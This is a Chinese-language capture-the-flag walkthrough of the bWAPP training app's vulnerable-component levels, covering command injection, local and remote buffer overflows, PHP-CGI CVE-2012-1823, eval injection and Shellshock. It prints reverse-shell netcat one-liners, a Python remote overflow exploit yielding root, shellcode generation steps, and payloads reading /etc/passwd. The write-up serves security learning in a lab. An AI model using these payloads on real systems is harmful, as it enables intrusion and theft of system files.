09BWAPP通关指北--使用含已知漏洞组件篇

夺旗攻略 2019-03-20

使用含有已知漏洞组件篇

作者:古月蓝旻

Buffer Overflow (Local)--low

能在这里遇到缓冲区溢出漏洞真是惊喜,这两题全部按照油管上的教程复现了一遍,收获不少

首先low级别下不涉及缓冲区溢出,可以使用$(command)或者反引号`command`的方式执行命令,只是没有回显,可以使用反弹shell或者curl的方式验证

$(nc -e /bin/bash 192.168.248.156 4444)
$(curl -k "https://www.meetsec.cn")
`nc -e /bin/bash 192.168.248.156 4444`

但是,不同于前面的命令注入,可以使用|、&、;等执行命令,这是为啥,我们看下源码

使用了shell_exec执行了查询操作,里面的参数是movie_search和commandi($title)

commandi在low级别下使用commandi_check_3($data)过滤,其它级别下使用commandi_check_2($data);过滤

果然上面的3大命令注入符号被和谐,但是反引号和$()还是没有受到影响

不过low级别下和缓冲区溢出其实没什么关系,顶多算个命令注入变形

我们回到其它级别看下

echo shell_exec("./apps/movie_search " . $title);

拼接方式组成了shell_exec的参数,使用file ./app/movie_search查看该文件会发现它是一个32位elf可执行文件,vim直接打开,乱码很多,但是依稀可以看出这是一个mysql查询的文件

根据页面提示,要使用\x90*354 + \x8f\x92\x04\x08 + [payload]

这是什么??

首先我们需要了解一些缓冲区和缓冲区溢出的相关知识

缓冲区是指一块可用于接受和存放数据的存储区域,缓冲区一旦分配,其大小也就固定了,比如C语言中 char meetsec[12];那么meetsec字符串的大小就固定为了12字节;

在内存中,每个进程在其内存堆栈段中都拥有自己的栈,EBP指向当前栈的底部,而ESP总是指向栈顶。

函数调用会有3个步骤

1、按照调用约定,首先需要将函数参数按照逆序入栈,从而对函数调用进行设置。

2、将EIP保存到栈上(EIP是指令寄存器,存放当前指令的下一条指令的地址),这样程序在调用函数返回后能够在之前中断的地方继续执行下去,所以EIP存放的地址被称为返回地址。

3、执行call命令,将该函数地址放入EIP寄存器进行执行。

EIP存放的地址被称为返回地址,程序在调用函数返回后能够在之前中断的地方继续执行下去靠的就是EIP,如果EIP被其它破坏了,程序肯定要崩溃,这就是经典的缓冲区溢出原理

这里我打一个比方吧:

有一架飞机,分成两个部分:驾驶舱和客舱,客舱大小是固定的,视为缓冲区,驾驶舱决定飞机飞往什么地方,视为下一条指令存放处EIP。那么一旦客舱的人数足够多,客舱装不下了,客舱的人就会挤到驾驶舱,如果挤到驾驶舱里的刚好有坏人,那么它就可以劫持飞机到处飞行,这就是缓冲区溢出导致命令执行。

好了,有了这些知识,勉强可以继续做这道题了,那么我们需要明白几点:

  1. 缓冲区多大?
  2. 栈顶指针在哪里?
  3. 怎么构造我们想要执行命令的shellcode?

嗯,第一个问题,根据页面提示\x90*354 + \x8f\x92\x04\x08 + [payload],缓冲区大小其实已经出来了,354字节

那么我们如果不知道的情况下怎么办呢?

如果是我们自己的c程序,可以直接看定义或者写strcpy函数复制一大堆A进去看eip有没有变化配合gdb调试+二分法试探

本题教程使用kali的pattern_create.rb生成360字节的payload直接在movie_search中执行,然后通过gdb调试查看各个寄存器的值,发现eip的值果然变成了我们payload的一部分,说溢出是成功的

再根据pattern_offset.rb搜索eip的值判断缓冲区大小在354字节

同样使用pattern_offset.rb搜索esp的值判断栈顶指针偏移量是第358字节,栈顶指针占据4字节

如果我们可以让eip填充一个跳转到esp寄存器中包含的地址的指令,那么跳转以后就可以执行我们自己的shellcode了,那么esp寄存器中包含的地址的指令怎么找?

objdump -D ./apps/movie_search | grep jmp.*esp

804928f,看着很眼熟,我们的提示就是x8fx92x04x08,一配合CPU的大小端排序就知道了,这就是esp寄存器中包含的地址的指令

好了,最后一个问题,我们想执行的命令,比如cat /etc/passwd怎么构造呢?

这里就需要使用msfconsole的linux/x86/exec模块了,里面的generate命令刚好是我们需要的

use linux/x86/exec

set CMD /bin/cat /etc/passwd

generate -b '\x00' -e x86/opt_sub -t bash     
//避免在shellcode中出现\x00,模块使用x86/opt_sub,输出格式为bash

OK,得到payload,嗯这个直接在bash里执行就没什么意思了,我们直接还是通过发包方式试验,搜索电影名然后自己改title,由于通过发包传输走http协议,cgi不理解x90是什么,要加一层url编码变成%90才可以,所以我们最后的payload是这样

title='%90*354+%8F%92%04%08+shellcode的url编码'&action=search

单引号也进行url编码变成%27

效果拔群,这题对于不会汇编的同学而言,难度大一些,主要在知识点的不熟悉导致,以下给出资料参考:

Exploit之初识Linux下缓冲区溢出

A9 Buffer Overflow (Local) BWAPP

Buffer Overflow (Local)

Buffer Overflow (Remote)--low

页面提示说

A specific bWAPP network service is vulnerable to a remote buffer overflow. Get r00t!

我们看下服务

嗯,这个666端口有点奇怪啊,而且就叫movie_se,猜测是搜索电影

连接一下

果然可以,还真能搜索电影

找了一下对应的进程和文件

果然是root权限启动的,难怪提示说可以拿到root权限,/usr/sbin/bwapp_movie_search和上题的apps/movie_search几乎一样,所以相同的payload可以试一下

既然telnet可以连接,我们直接向666端口发包就好,这里直接用py进行

import socket

shellcode = (
"\x54\x58\x2d\x79\xfc\xfd\xfd...太长了这里省略"
)

# HINT: \x90*354 + \xa7\x8f\x04\x08 + [payload] (remote)
ret = "\xa7\x8f\x04\x08"   
buffer = '\x90' * 354 + ret + shellcode + "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending evil buffer..."
s.connect(('192.168.248.130',666))
s.send(buffer)
data = s.recv(1024)
s.close()

注意ret部分和上一题不太一样

shellcode部分还是使用kali的msf 使用linux/x86/exec模块,由于没有回显,直接生成反弹shell的payload更加方便

去掉换行还有乱七八糟的符号,放在py的shellcode部分,执行一下

效果非常好,果然是root权限

Drupal SQL Injection (Drupageddon)--low

重题,上面已经做过

Heartbleed Vulnerability--low

重题,上面已经做过

PHP CGI Remote Code Execution--low

php cgi的远程代码执行漏洞,2012年非常经典的一枚漏洞,题目也给出了相关的提示CVE-2012-1823,本漏洞的成因在于php-cgi把用户请求的字段querystring作为参数去执行。

略微接触过世界上最好语言的人,或多或少都接触过一些和cgi有关的东西;那么php-cgi是什么?cgi是什么?fastcgi是什么?php-fpm又是什么?

cgi:通用网关接口(Common Gateway Interface/CGI)是一种重要的互联网技术,
可以让一个客户端,从网页浏览器向执行在网络服务器上的程序请求数据。
CGI描述了服务器和请求处理程序之间传输数据的一种标准。

php-cgi:是php的解释器,是中间件和后端语言php进行通讯的协议。

php-cgi提供两种cgi方式交互:其一是cgi方式,其二是fastcgi方式

fastcgi是cgi的升级版,提升了一定的性能和安全性

php-fpm则是php-cgi的管理器,服务器上运行着多个php-cgi子进程,有php-fpm进行解析

概念虽然繁多,但是还是要区分一下的

回归正题,这次出了什么问题?

PHP 5.3.12 和 5.4.x - 5.4.2,只要配置了启用脚本php-cgi且交互方式选择cgi,那么可以通过querystring传入命令参数,毕竟脚本本来就可以传入参数执行命令的(由于RFC3875中规定:当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入

那么querystring又是什么?其实非常简单,?后面的内容

比如对于url: https://www.meetsec.cn/admin.php?news=2

那么querystring就是?news=2

这个是谁定义的,自然是php-cgi,如果你选cgi方式就是cgi,如果选fastcgi就是fastcgi,总有一款为你解析

好了,知道这一点,我们顺便看下cgi方式下有哪些参数可以使用呢?

-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

嗯,其实看了一下-s-d参数似乎不错的样子,我们试一下

对phpinfo加入?-s直接显示源码666

指定配置就更有趣了,我们知道php上有一个配置项allow_url_include,作用是控制是否允许远程文件包含,另外一个配置项auto_prepend_file,作用是在页面顶部加载该文件。默认情况下这两个地方一个关闭一个根本没有内容,那么现在我们可以通过?-d让它打开,然后加载远端恶意文件或者input流

比如我们试验一下

/bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

空格用+或%20代替,=用url编码代替

这里感谢P牛的两篇文章,写得非常好

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

PHP Eval Function--low

嗯,主动让我们看代码啊,那就看吧

看着架势,我以为是自己的一句话进去了,好吧,自己加个eval字段,随便折腾,system,exec,shell_exec,passthru都行,切记勿忘分号

phpMyAdmin BBCode Tag XSS--low

重题了

Shellshock Vulnerability (CGI)--low

哇,经典的破壳漏洞,CVE-2014-6271,影响bash 3.0到4.3的所有版本

POC如下:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

我们在bee-box的机器上看一下

果然是有的,但是漏洞想要利用成功还是需要一些条件

使用ForceCommand功能的OpenSSH sshd
使用mod_cgi或mod_cgid的Apache服务器
DHCP客户端
其他使用Bash作为解释器的应用等。

我们也知道cgi其实用于解释http请求和后端语言通讯的过程,http请求其实五花八门,所以cgi也有不同的脚本用于解释各种各样的请求内容,其中mod_cgi就可以用于解释bash语句,这也是导致漏洞的一个关键因素。我们看一下我们自己的php里有没有启用呢

果然都是有的,根据描述一般漏洞在站点的/cgi-bin/xxx.sh中

比如我们自己的站点就在

/bWAPP/cgi-bin/shellshock.sh

shellshock.php对shellshock.sh的结果引用了一下,

根据网上流出来的EXP,我们可以在Referer、host、UserAgent、header等的头信息进行测试

() { :;}; echo $(/bin/cat /etc/passwd)
() { :; }; /usr/bin/touch /tmp/meetsec

报错不影响命令执行的效果

那么漏洞是什么原理呢?

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

上面说的比较简单,受限于篇幅不详细展开,参考以下文章

破壳漏洞(CVE-2014-6271)综合分析

Bash 3.0-4.3命令执行漏洞分析

破壳漏洞(shellshock)分析CVE-2014-6271

SQLiteManager Local File Inclusion--low

重题了

SQLiteManager PHP Code Injection--low

教学题一枚,根据提示下载了py,里面说sqlite小于1.2.4版本的受本漏洞影响

py前面的大段话都没有加注释,记得自行删除或用'''注释

然后执行

宣传了一下自己,说了一下成功就没了...

嗯,自己看py吧

嗯,看来是利用sqlite写文件的权限,创建phpinfo数据库时,把phpinfo语句写入到了phpinfo.php里

果然如此啊...

而且注意留意源码

每个urlopen后面都有一个超时时间120s,且还有个删除临时数据库的请求,真是醉人,要是想留着,可以注释最后的删除行,总体而言漏洞效果不错

SQLiteManager XSS--low

重题了

好了,已知漏洞组件篇到此结束


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论